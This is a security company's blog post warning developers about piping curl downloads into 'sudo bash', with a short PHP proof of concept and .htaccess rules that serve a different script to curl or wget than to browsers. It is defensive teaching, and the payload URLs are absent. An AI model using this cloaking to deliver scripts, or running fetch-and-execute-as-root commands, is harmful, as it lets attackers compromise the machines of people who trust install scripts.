Careless With Curl? Don't Be. Curl Your Scripts First.

Careless With Curl? Don't Be. Curl Your Scripts First.

Gain insight and learn responsible cURL usage and secure scripting practices in this essential OnSecurity blog on web requests and data transfers. Read now.

Tom Lindley
Tom Lindley
Chief Technology Officer
February 14, 2020

What is curl?

cURL ("Client URL") is a command line tool for transferring data over a network/ the Internet. It's widely used for scripting and development, where a download of a remote file/package/resource is required.

It's useful because it bypasses the need to crack open a browser, go to the download page, download the resource, move it to a different directory and so on. This can all be achieved in a single command.

Most developers blindly trust cURL and the target resource, running cURL scripts which download and execute files to their hearts content, while listening to hardcore electronica on giant headphones.

Here our developer Tom talks about why this is a terrible idea (the cURL carelessness, not the music), and demonstrates a quick n' dirty PoC for pwning careless cURL users!

How to be careless with cURL

Imagine you want to install a specific version of Node.js, you can go to ( to find the URL for that specific version.

You then run curl -sL | sudo -E bash - to install version 13.

Because you're a sensible person you open up the link in your browser to read it to make sure you're not running root bash on something that is malicious. Right?

Lets do something nasty

Now, let's imagine a 2 line PHP file that looks something like this:

header('Content-Type: text/plain');
echo preg_match('/(wget|curl)/i',$_SERVER['HTTP_USER_AGENT']) ? file_get_contents('') : file_get_contents('');

We return a nice text/plain header so no one suspects a thing! We look for curl or wget (a similar command line utility) in the User-Agent header and return If we don't see it then we can return our lovely

Let's do some more disguising with .htaccess.

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ script.php?url=$1 [QSA,L]

Now we can navigate to and it will run our PHP script which will only return something nasty when it's downloaded using a command line utility.

Thoughts on this proof of concept

The potential use of this is quite a scary thought and would likely catch out a large number of security conscious individuals. I've seen this pattern of installing things via scripts more and more in recent years.

There's lots of security issues related to the User-Agent from targeting vulnerable browsers to header injection. I've not however, seen anything related to this simple example. This is not to say that this is not happening in the wild, so make sure you curl your scripts instead of looking at them in a browser!

More recommended articles

© 2024 ONSECURITY TECHNOLOGY LIMITED (company registered in England and Wales. Registered number: 14184026 Registered office: Runway East, 101 Victoria Street, Bristol, England, BS1 6PU). All rights reserved.